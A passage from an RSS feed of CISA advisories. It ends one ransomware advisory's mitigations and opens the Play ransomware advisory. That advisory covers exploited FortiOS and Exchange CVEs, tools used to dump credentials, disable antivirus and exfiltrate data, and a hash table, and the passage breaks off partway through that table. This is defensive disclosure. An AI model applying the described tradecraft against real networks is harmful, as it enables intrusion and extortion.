  5564. &lt;li&gt;&lt;strong&gt;Implementing&lt;/strong&gt;&lt;strong&gt; application controls&lt;/strong&gt; to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.&lt;/li&gt;
  5565. &lt;li&gt;Applying recommendations in CISA's joint &lt;a href="https://www.cisa.gov/sites/default/files/2023-06/Guide%20to%20Securing%20Remote%20Access%20Software_clean%20Final_508c.pdf" title="Guide to Securing Remote Access Software"&gt;Guide to Securing Remote Access Software&lt;/a&gt;.&lt;/li&gt;
  5566. &lt;/ul&gt;
  5567. &lt;/li&gt;
  5568. &lt;li&gt;&lt;strong&gt;Implementing FIDO/WebAuthn authentication or Public key Infrastructure (PKI)-based MFA &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report March 2023 Update"&gt;CPG 2.H&lt;/a&gt;][&lt;a href="https://hphcyber.hhs.gov/performance-goals.html" title="HPH Cybersecurity Performance Goals - Multifactor Authentication"&gt;HPH CPG – Multifactor Authentication&lt;/a&gt;]. These MFA implementations are resistant to phishing and not susceptible to push bombing or SIM swap attacks, which are techniques known be used by ALPHV Blackcat affiliates. See CISA’s Fact Sheet &lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;Implementing Phishing-Resistant MFA&lt;/a&gt; for more information.&lt;/li&gt;
  5569. &lt;li&gt;&lt;strong&gt;Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.&lt;/strong&gt; To aid in detecting ransomware, implement a tool that logs and reports all network traffic [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report March 2023 Update"&gt;CPG 5.1&lt;/a&gt;][&lt;u&gt;&lt;a href="https://hphcyber.hhs.gov/performance-goals.html" title="HPH Cybersecurity Performance Goals - Detect and Respond to Relevant Threats and Tactics, Techniques and Procedures"&gt;HPH CPG – Detect and Respond to Relevant Threats and Tactics, Techniques and Procedures&lt;/a&gt;&lt;/u&gt;], including lateral movement activity on a network. Endpoint detection and response (EDR) tools are useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.&lt;/li&gt;
  5570. &lt;li&gt;&lt;strong&gt;Implement user training on social engineering and phishing attacks&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report March 2023 Update"&gt;CPG 2.I&lt;/a&gt;][&lt;a href="https://hphcyber.hhs.gov/performance-goals.html" title="HPH Cybersecurity Performance Goals - Basic Cybersecurity Training"&gt;HPH CPG – Basic Cybersecurity Training&lt;/a&gt;]. Regularly educate users on identifying suspicious emails and links, not interacting with those suspicious items, and the importance of reporting instances of opening suspicious emails, links, attachments, or other potential lures.&lt;/li&gt;
  5571. &lt;li&gt;&lt;strong&gt;Implement internal mail and messaging monitoring&lt;/strong&gt;. Monitoring internal mail and messaging traffic to identify suspicious activity is essential as users may be phished from outside the targeted network or without the knowledge of the organizational security team. Establish a baseline of normal network traffic and scrutinize any deviations.&lt;/li&gt;
  5572. &lt;li&gt;&lt;strong&gt;Implement free security tools&lt;/strong&gt;&amp;nbsp;to prevent cyber threat actors from redirecting users to malicious websites to steal their credentials. For more information see, CISA’s &lt;a href="https://www.cisa.gov/resources-tools/resources/free-cybersecurity-services-and-tools" title="Free Cybersecurity Services and Tools"&gt;Free Cybersecurity Services and Tools&lt;/a&gt; webpage.&lt;/li&gt;
  5573. &lt;li&gt;&lt;strong&gt;Install and maintain antivirus software.&lt;/strong&gt; Antivirus software recognizes malware and protects your computer against it. Installing antivirus software from a reputable vendor is an important step in preventing and detecting infections. Always visit vendor sites directly rather than clicking on advertisements or email links. Because attackers are continually creating new viruses and other forms of malicious code, it is important to keep your antivirus software up to date.&lt;/li&gt;
  5574. &lt;/ul&gt;
  5575. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  5576. &lt;p&gt;In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  5577. &lt;p&gt;To get started:&lt;/p&gt;
  5578. &lt;ol&gt;
  5579. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see Tables 1-3).&lt;/li&gt;
  5580. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  5581. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  5582. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  5583. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  5584. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  5585. &lt;/ol&gt;
  5586. &lt;p&gt;CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  5587. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
  5588. &lt;ul&gt;
  5589. &lt;li&gt;&lt;a href="https://www.cisa.gov/stopransomware" title="#StopRansomware"&gt;Stopransomware.gov&lt;/a&gt; is a whole-of-government approach that gives one central location for ransomware resources and alerts.&lt;/li&gt;
  5590. &lt;li&gt;Resource to reduce the risk of a ransomware attack: &lt;a href="https://www.cisa.gov/resources-tools/resources/stopransomware-guide" title="#StopRansomware Guide"&gt;#StopRansomware Guide&lt;/a&gt;.&lt;/li&gt;
  5591. &lt;li&gt;No-cost cyber hygiene services: &lt;a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services"&gt;Cyber Hygiene Services&lt;/a&gt; and &lt;a href="https://github.com/cisagov/cset/releases/tag/v10.3.0.0" title="Ransomware Readiness Assessment CSET v10.3"&gt;Ransomware Readiness Assessment&lt;/a&gt;.&lt;/li&gt;
  5592. &lt;li&gt;Health and Human Services &lt;a href="https://hphcyber.hhs.gov" title="HPH Cybersecurity Gateway"&gt;HPH Cybersecurity Gateway&lt;/a&gt; hosts the HPH CPGs and links to HHS cybersecurity resources.&lt;/li&gt;
  5593. &lt;/ul&gt;
  5594. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  5595. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, and HHS.&lt;/p&gt;
  5596. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  5597. &lt;p&gt;December 19, 2023: Initial version.&lt;br&gt;&lt;br&gt;
  5598. February 27, 2024: Update.&lt;/p&gt;
  5599. </description>
  5600.  <pubDate>Tue, 19 Dec 2023 09:31:04 EST</pubDate>
  5601.    <dc:creator>CISA</dc:creator>
  5602.    <guid isPermaLink="false">/node/20626</guid>
  5603.    </item>
  5604. <item>
  5605.  <title>#StopRansomware: Play Ransomware</title>
  5606.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a</link>
  5607.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  5608. &lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt;&lt;em&gt; This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit &lt;/em&gt;&lt;a href="https://www.cisa.gov/stopransomware" title="#StopRansomware"&gt;&lt;em&gt;stopransomware.gov&lt;/em&gt;&lt;/a&gt;&lt;em&gt; to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.&lt;/em&gt;&lt;/p&gt;
  5609. &lt;p&gt;The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Signals Directorate’s Australian Cyber Security Centre (ASD's ACSC) are releasing this joint CSA to disseminate the Play ransomware group’s IOCs and TTPs identified through FBI investigations as recently as October 2023.&lt;/p&gt;
  5610. &lt;p&gt;Since June 2022, the Play (also known as Playcrypt) ransomware group has impacted a wide range of businesses and critical infrastructure in North America, South America, and Europe. As of October 2023, the FBI was aware of approximately 300 affected entities allegedly exploited by the ransomware actors.&lt;/p&gt;
  5611. &lt;p&gt;In Australia, the first Play ransomware incident was observed in April 2023, and most recently in November 2023.&lt;/p&gt;
  5612. &lt;p&gt;The Play ransomware group is presumed to be a closed group, designed to “guarantee the secrecy of deals,” according to a statement on the group’s data leak website. Play ransomware actors employ a double-extortion model, encrypting systems after exfiltrating data. Ransom notes do not include an initial ransom demand or payment instructions, rather, victims are instructed to contact the threat actors via email.&lt;/p&gt;
  5613. &lt;p&gt;The FBI, CISA, and ASD’s ACSC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. This includes requiring multifactor authentication, maintaining offline backups of data, implementing a recovery plan, and keeping all operating systems, software, and firmware up to date.&lt;/p&gt;
  5614. &lt;p&gt;Download a PDF version of this report:&lt;/p&gt;
  5615.  
  5616.  
  5617.  
  5618.  
  5619.  
  5620. &lt;div class="c-file"&gt;
  5621.    &lt;div class="c-file__download"&gt;
  5622.    &lt;a href="https://www.cisa.gov/sites/default/files/2023-12/aa23-352a-stopransomware-play-ransomware.pdf" class="c-file__link" target="_blank"&gt;AA23-352A #StopRansomware: Play Ransomware&lt;/a&gt;
  5623.    &lt;span class="c-file__size"&gt;(PDF,       536.19 KB
  5624.  )&lt;/span&gt;
  5625.  &lt;/div&gt;
  5626. &lt;/div&gt;
  5627. &lt;p&gt;For a downloadable copy of IOCs, see:&lt;/p&gt;
  5628.  
  5629.  
  5630.  
  5631.  
  5632.  
  5633. &lt;div class="c-file"&gt;
  5634.    &lt;div class="c-file__download"&gt;
  5635.    &lt;a href="https://www.cisa.gov/sites/default/files/2023-12/AA23-352A.stix_.xml" class="c-file__link" target="_blank"&gt;AA23-352A STIX XML&lt;/a&gt;
  5636.    &lt;span class="c-file__size"&gt;(XML,       34.87 KB
  5637.  )&lt;/span&gt;
  5638.  &lt;/div&gt;
  5639. &lt;/div&gt;
  5640.  
  5641.  
  5642.  
  5643.  
  5644.  
  5645. &lt;div class="c-file"&gt;
  5646.    &lt;div class="c-file__download"&gt;
  5647.    &lt;a href="https://www.cisa.gov/sites/default/files/2023-12/AA23-352A-StopRansomware-Play-Ransomware.stix_.json" class="c-file__link" target="_blank"&gt;AA23-352A STIX JSON&lt;/a&gt;
  5648.    &lt;span class="c-file__size"&gt;(JSON,       30.22 KB
  5649.  )&lt;/span&gt;
  5650.  &lt;/div&gt;
  5651. &lt;/div&gt;
  5652. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  5653. &lt;p&gt;&lt;strong&gt;Note: &lt;/strong&gt;This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/"&gt;MITRE ATT&amp;amp;CK&lt;sup&gt;®&lt;/sup&gt; for Enterprise&lt;/a&gt; framework, version 14. See the MITRE ATT&amp;amp;CK for Enterprise section for all referenced tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  5654. &lt;h4&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/h4&gt;
  5655. &lt;p&gt;The Play ransomware group gains initial access to victim networks through the abuse of valid accounts [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;] and exploitation of public-facing applications [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public-Facing Application"&gt;T1190&lt;/a&gt;], specifically through known FortiOS (&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2018-13379" title="CVE-2018-13379"&gt;CVE-2018-13379&lt;/a&gt; and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2020-12812" title="CVE-2020-12812"&gt;CVE-2020-12812&lt;/a&gt;) and Microsoft Exchange (ProxyNotShell [&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2022-41040" title="CVE-2022-41040"&gt;CVE-2022-41040&lt;/a&gt; and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2022-41082" title="CVE-2022-41082"&gt;CVE-2022-41082&lt;/a&gt;]) vulnerabilities. Play ransomware actors have been observed to use external-facing services [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;] such as Remote Desktop Protocol (RDP) and Virtual Private Networks (VPN) for initial access.&lt;/p&gt;
  5656. &lt;h4&gt;&lt;strong&gt;Discovery and Defense Evasion&lt;/strong&gt;&lt;/h4&gt;
  5657. &lt;p&gt;Play ransomware actors use tools like &lt;a href="https://attack.mitre.org/versions/v14/software/S0552/" title="AdFind"&gt;AdFind&lt;/a&gt; to run Active Directory queries [&lt;a href="https://attack.mitre.org/tactics/TA0007/" title="Discovery"&gt;TA0007&lt;/a&gt;] and Grixba [&lt;a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy" title="Play Ransomware Group Using New Custom Data-Gathering Tools"&gt;1&lt;/a&gt;], an information-stealer, to enumerate network information [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1016/" title="System Network Configuration Discovery"&gt;T1016&lt;/a&gt;] and scan for anti-virus software [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1518/001/" title="Software Discovery: Security Software Discovery"&gt;T1518.001&lt;/a&gt;]. Actors also use tools like GMER, IOBit, and PowerTool to disable anti-virus software [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/001/" title="Impair Defenses: Disable or Modify Tools"&gt;T1562.001&lt;/a&gt;] and remove log files [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1070/001/" title="Indicator Removal: Clear Windows Event Logs"&gt;T1070.001&lt;/a&gt;]. In some instances, cybersecurity researchers have observed Play ransomware actors using &lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/001/" title="Command and Scripting Interpreter: PowerShell"&gt;PowerShell&lt;/a&gt; scripts to target Microsoft Defender.[&lt;a href="https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play" title="Ransomware Spotlight | Play"&gt;2&lt;/a&gt;]&lt;/p&gt;
  5658. &lt;h4&gt;&lt;strong&gt;Lateral Movement and Execution&lt;/strong&gt;&lt;/h4&gt;
  5659. &lt;p&gt;Play ransomware actors use command and control (C2) applications, including &lt;a href="https://attack.mitre.org/versions/v14/software/S0154/" title="Cobalt Strike"&gt;Cobalt Strike&lt;/a&gt; and SystemBC, and tools like &lt;a href="https://attack.mitre.org/versions/v14/software/S0029/" title="PsExec"&gt;PsExec&lt;/a&gt;, to assist with lateral movement and file execution. Once established on a network, the ransomware actors search for unsecured credentials [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/" title="Unsecured Credentials"&gt;T1552&lt;/a&gt;] and use the &lt;a href="https://attack.mitre.org/versions/v14/software/S0002/" title="Mimikatz"&gt;Mimikatz&lt;/a&gt; credential dumper to gain domain administrator access [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/" title="OS Credential Dumping"&gt;T1003&lt;/a&gt;]. According to open source reporting [&lt;a href="https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play" title="Ransomware Spotlight | Play"&gt;2&lt;/a&gt;], to further enumerate vulnerabilities, Play ransomware actors use Windows Privilege Escalation Awesome Scripts (WinPEAS) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/" title="Command and Scripting Interpreter"&gt;T1059&lt;/a&gt;] to search for additional &lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0004/" title="Privilege Escalation"&gt;privilege escalation&lt;/a&gt; paths. Actors then distribute executables [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1570/" title="Lateral Tool Transfer"&gt;T1570&lt;/a&gt;] via Group Policy Objects [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1484/001/" title="Domain Policy Modification: Group Policy Modification"&gt;T1484.001&lt;/a&gt;].&lt;/p&gt;
  5660. &lt;h4&gt;&lt;strong&gt;Exfiltration and Encryption&lt;/strong&gt;&lt;/h4&gt;
  5661. &lt;p&gt;Play ransomware actors often split compromised data into segments and use tools like WinRAR to compress files [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/001/" title="Archive Collected Data: Archive via Utility"&gt;T1560.001&lt;/a&gt;] into &lt;code&gt;.RAR&lt;/code&gt; format for exfiltration. The actors then use WinSCP to transfer data [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;] from a compromised network to actor-controlled accounts. Following exfiltration, files are encrypted [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1486/" title="Data Encrypted for Impact"&gt;T1486&lt;/a&gt;] with AES-RSA hybrid encryption using intermittent encryption, encrypting every other file portion of 0x100000 bytes. [&lt;a href="https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/" title="Crimeware Trends | Ransomware Developers Turn to Intermittent Encryption to Evade Detection"&gt;3&lt;/a&gt;] (&lt;strong&gt;Note: &lt;/strong&gt;System files are skipped during the encryption process.) A &lt;code&gt;.play&lt;/code&gt; extension is added to file names and a ransom note titled &lt;code&gt;ReadMe[.]txt&lt;/code&gt; is placed in file directory &lt;code&gt;C:&lt;/code&gt;.&lt;/p&gt;
  5662. &lt;h4&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/h4&gt;
  5663. &lt;p&gt;The Play ransomware group uses a double-extortion model [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1657/" title="Financial Theft"&gt;T1657&lt;/a&gt;], encrypting systems after exfiltrating data. The ransom note directs victims to contact the Play ransomware group at an email address ending in &lt;code&gt;@gmx[.]de&lt;/code&gt;. Ransom payments are paid in cryptocurrency to wallet addresses provided by Play actors. If a victim refuses to pay the ransom demand, the ransomware actors threaten to publish exfiltrated data to their leak site on the Tor network (&lt;code&gt;[.]onion&lt;/code&gt; URL).&lt;/p&gt;
  5664. &lt;h4&gt;&lt;strong&gt;Leveraged Tools&lt;/strong&gt;&lt;/h4&gt;
  5665. &lt;p&gt;Table 1 lists legitimate tools Play ransomware actors have repurposed for their operations. The legitimate tools listed in this product are all publicly available. Use of these tools and applications should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.&lt;/p&gt;
  5666. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5667. &lt;caption&gt;&lt;em&gt;Table 1: Tools Leveraged by Play Ransomware Actors&lt;/em&gt;&lt;/caption&gt;
  5668. &lt;thead&gt;
  5669. &lt;tr&gt;
  5670. &lt;td&gt;&lt;strong&gt;Name&lt;/strong&gt;&lt;/td&gt;
  5671. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  5672. &lt;/tr&gt;
  5673. &lt;/thead&gt;
  5674. &lt;tbody&gt;
  5675. &lt;tr&gt;
  5676. &lt;td&gt;
  5677. &lt;p&gt;AdFind&lt;/p&gt;
  5678. &lt;/td&gt;
  5679. &lt;td&gt;
  5680. &lt;p&gt;Used to query and retrieve information from Active Directory.&lt;/p&gt;
  5681. &lt;/td&gt;
  5682. &lt;/tr&gt;
  5683. &lt;tr&gt;
  5684. &lt;td&gt;
  5685. &lt;p&gt;Bloodhound&lt;/p&gt;
  5686. &lt;/td&gt;
  5687. &lt;td&gt;
  5688. &lt;p&gt;Used to query and retrieve information from Active Directory.&lt;/p&gt;
  5689. &lt;/td&gt;
  5690. &lt;/tr&gt;
  5691. &lt;tr&gt;
  5692. &lt;td&gt;
  5693. &lt;p&gt;GMER&lt;/p&gt;
  5694. &lt;/td&gt;
  5695. &lt;td&gt;
  5696. &lt;p&gt;A software tool intended to be used for detecting and removing rootkits.&lt;/p&gt;
  5697. &lt;/td&gt;
  5698. &lt;/tr&gt;
  5699. &lt;tr&gt;
  5700. &lt;td&gt;
  5701. &lt;p&gt;IOBit&lt;/p&gt;
  5702. &lt;/td&gt;
  5703. &lt;td&gt;
  5704. &lt;p&gt;An anti-malware and anti-virus program for the Microsoft Windows operating system. Play actors have accessed IOBit to disable anti-virus software.&lt;/p&gt;
  5705. &lt;/td&gt;
  5706. &lt;/tr&gt;
  5707. &lt;tr&gt;
  5708. &lt;td&gt;
  5709. &lt;p&gt;PsExec&lt;/p&gt;
  5710. &lt;/td&gt;
  5711. &lt;td&gt;
  5712. &lt;p&gt;A tool designed to run programs and execute commands on remote systems.&lt;/p&gt;
  5713. &lt;/td&gt;
  5714. &lt;/tr&gt;
  5715. &lt;tr&gt;
  5716. &lt;td&gt;
  5717. &lt;p&gt;PowerTool&lt;/p&gt;
  5718. &lt;/td&gt;
  5719. &lt;td&gt;
  5720. &lt;p&gt;A Windows utility designed to improve speed, remove bloatware, protect privacy, and eliminate data collection, among other things.&lt;/p&gt;
  5721. &lt;/td&gt;
  5722. &lt;/tr&gt;
  5723. &lt;tr&gt;
  5724. &lt;td&gt;
  5725. &lt;p&gt;PowerShell&lt;/p&gt;
  5726. &lt;/td&gt;
  5727. &lt;td&gt;
  5728. &lt;p&gt;A cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework, which runs on Windows, Linux, and macOS.&lt;/p&gt;
  5729. &lt;/td&gt;
  5730. &lt;/tr&gt;
  5731. &lt;tr&gt;
  5732. &lt;td&gt;
  5733. &lt;p&gt;Cobalt Strike&lt;/p&gt;
  5734. &lt;/td&gt;
  5735. &lt;td&gt;
  5736. &lt;p&gt;A penetration testing tool used by security professionals to test the security of networks and systems. Play ransomware actors have used it to assist with lateral movement and file execution.&lt;/p&gt;
  5737. &lt;/td&gt;
  5738. &lt;/tr&gt;
  5739. &lt;tr&gt;
  5740. &lt;td&gt;
  5741. &lt;p&gt;Mimikatz&lt;/p&gt;
  5742. &lt;/td&gt;
  5743. &lt;td&gt;
  5744. &lt;p&gt;Allows users to view and save authentication credentials such as Kerberos tickets. Play ransomware actors have used it to add accounts to domain controllers.&lt;/p&gt;
  5745. &lt;/td&gt;
  5746. &lt;/tr&gt;
  5747. &lt;tr&gt;
  5748. &lt;td&gt;
  5749. &lt;p&gt;WinPEAS&lt;/p&gt;
  5750. &lt;/td&gt;
  5751. &lt;td&gt;
  5752. &lt;p&gt;Used to search for additional privilege escalation paths.&lt;/p&gt;
  5753. &lt;/td&gt;
  5754. &lt;/tr&gt;
  5755. &lt;tr&gt;
  5756. &lt;td&gt;
  5757. &lt;p&gt;WinRAR&lt;/p&gt;
  5758. &lt;/td&gt;
  5759. &lt;td&gt;
  5760. &lt;p&gt;Used to split compromised data into segments and to compress files into &lt;code&gt;.RAR&lt;/code&gt; format for exfiltration.&lt;/p&gt;
  5761. &lt;/td&gt;
  5762. &lt;/tr&gt;
  5763. &lt;tr&gt;
  5764. &lt;td&gt;
  5765. &lt;p&gt;WinSCP&lt;/p&gt;
  5766. &lt;/td&gt;
  5767. &lt;td&gt;
  5768. &lt;p&gt;Windows Secure Copy is a free and open-source Secure Shell (SSH) File Transfer Protocol, File Transfer Protocol, WebDAV, Amazon S3, and secure copy protocol client. Play ransomware actors have used it to transfer data [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;] from a compromised network to actor-controlled accounts.&lt;/p&gt;
  5769. &lt;/td&gt;
  5770. &lt;/tr&gt;
  5771. &lt;tr&gt;
  5772. &lt;td&gt;
  5773. &lt;p&gt;Microsoft Nltest&lt;/p&gt;
  5774. &lt;/td&gt;
  5775. &lt;td&gt;
  5776. &lt;p&gt;Used by Play ransomware actors for network discovery.&lt;/p&gt;
  5777. &lt;/td&gt;
  5778. &lt;/tr&gt;
  5779. &lt;tr&gt;
  5780. &lt;td&gt;
  5781. &lt;p&gt;Nekto / PriviCMD&lt;/p&gt;
  5782. &lt;/td&gt;
  5783. &lt;td&gt;
  5784. &lt;p&gt;Used by Play ransomware actors for privilege escalation.&lt;/p&gt;
  5785. &lt;/td&gt;
  5786. &lt;/tr&gt;
  5787. &lt;tr&gt;
  5788. &lt;td&gt;
  5789. &lt;p&gt;Process Hacker&lt;/p&gt;
  5790. &lt;/td&gt;
  5791. &lt;td&gt;
  5792. &lt;p&gt;Used to enumerate running processes on a system.&lt;/p&gt;
  5793. &lt;/td&gt;
  5794. &lt;/tr&gt;
  5795. &lt;tr&gt;
  5796. &lt;td&gt;
  5797. &lt;p&gt;Plink&lt;/p&gt;
  5798. &lt;/td&gt;
  5799. &lt;td&gt;
  5800. &lt;p&gt;Used to establish persistent SSH tunnels.&lt;/p&gt;
  5801. &lt;/td&gt;
  5802. &lt;/tr&gt;
  5803. &lt;/tbody&gt;
  5804. &lt;/table&gt;
  5805. &lt;h4&gt;&lt;strong&gt;Indicators of Compromise&lt;/strong&gt;&lt;/h4&gt;
  5806. &lt;p&gt;See Table 2 for Play ransomware IOCs obtained from FBI investigations as of October 2023.&lt;/p&gt;
  5807. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5808. &lt;caption&gt;&lt;em&gt;Table 2: Hashes Associated with Play Ransomware Actors&lt;/em&gt;&lt;/caption&gt;
  5809. &lt;thead&gt;
  5810. &lt;tr&gt;
  5811. &lt;td&gt;&lt;strong&gt;Hashes (SHA256)&lt;/strong&gt;&lt;/td&gt;
  5812. &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
  5813. &lt;/tr&gt;
  5814. &lt;/thead&gt;
  5815. &lt;tbody&gt;
  5816. &lt;tr&gt;
  5817. &lt;td&gt;
  5818. &lt;p&gt;453257c3494addafb39cb6815862403e827947a1e7737eb8168cd10522465deb&lt;/p&gt;
  5819. &lt;/td&gt;
  5820. &lt;td&gt;
  5821. &lt;p&gt;Play ransomware custom data gathering tool&lt;/p&gt;
  5822. &lt;/td&gt;
  5823. &lt;/tr&gt;
  5824. &lt;tr&gt;
  5825. &lt;td&gt;
  5826. &lt;p&gt;47c7cee3d76106279c4c28ad1de3c833c1ba0a2ec56b0150586c7e8480ccae57&lt;/p&gt;
  5827. &lt;/td&gt;
  5828. &lt;td&gt;
  5829. &lt;p&gt;Play ransomware encryptor&lt;/p&gt;
  5830. &lt;/td&gt;
  5831. &lt;/tr&gt;
  5832. &lt;tr&gt;
  5833. &lt;td&gt;
  5834. &lt;p&gt;75404543de25513b376f097ceb383e8efb9c9b95da8945fd4aa37c7b2f226212&lt;/p&gt;
  5835. &lt;/td&gt;
  5836. &lt;td&gt;
  5837. &lt;p&gt;SystemBC malware EXE&lt;/p&gt;
  5838. &lt;/td&gt;
  5839. &lt;/tr&gt;
  5840. &lt;tr&gt;
  5841. &lt;td&gt;
  5842. &lt;p&gt;7a42f96599df8090cf89d6e3ce4316d24c6c00e499c8557a2e09d61c00c11986&lt;/p&gt;
  5843. &lt;/td&gt;
  5844. &lt;td&gt;
  5845. &lt;p&gt;SystemBC malware DLL&lt;/p&gt;
  5846. &lt;/td&gt;
  5847. &lt;/tr&gt;
  5848. &lt;tr&gt;
  5849. &lt;td&gt;
  5850. &lt;p&gt;7a6df63d883bbccb315986c2cfb76570335abf84fafbefce047d126b32234af8&lt;/p&gt;
  5851. &lt;/td&gt;
  5852. &lt;td&gt;
  5853. &lt;p&gt;Play ransomware binary&lt;/p&gt;
  5854. &lt;/td&gt;
  5855. &lt;/tr&gt;
  5856. &lt;tr&gt;
  5857. &lt;td&gt;
  5858. &lt;p&gt;7dea671be77a2ca5772b86cf8831b02bff0567bce6a3ae023825aa40354f8aca&lt;/p&gt;
  5859. &lt;/td&gt;
  5860. &lt;td&gt;
  5861. &lt;p&gt;SystemBC malware DLL&lt;/p&gt;
  5862. &lt;/td&gt;
  5863. &lt;/tr&gt;
  5864. &lt;tr&gt;
  5865. &lt;td&gt;
  5866. &lt;p&gt;c59f3c8d61d940b56436c14bc148c1fe98862921b8f7bad97fbc96b31d71193c&lt;/p&gt;
  5867. &lt;/td&gt;
  5868. &lt;td&gt;
  5869. &lt;p&gt;Play network scanner&lt;/p&gt;
  5870. &lt;/td&gt;
  5871. &lt;/tr&gt;
  5872. &lt;tr&gt;
  5873. &lt;td&gt;
  5874. &lt;p&gt;e652051fe47d784f6f85dc00adca1c15a8c7a40f1e5772e6a95281d8bf3d5c74&lt;/p&gt;
  5875. &lt;/td&gt;
  5876. &lt;td&gt;
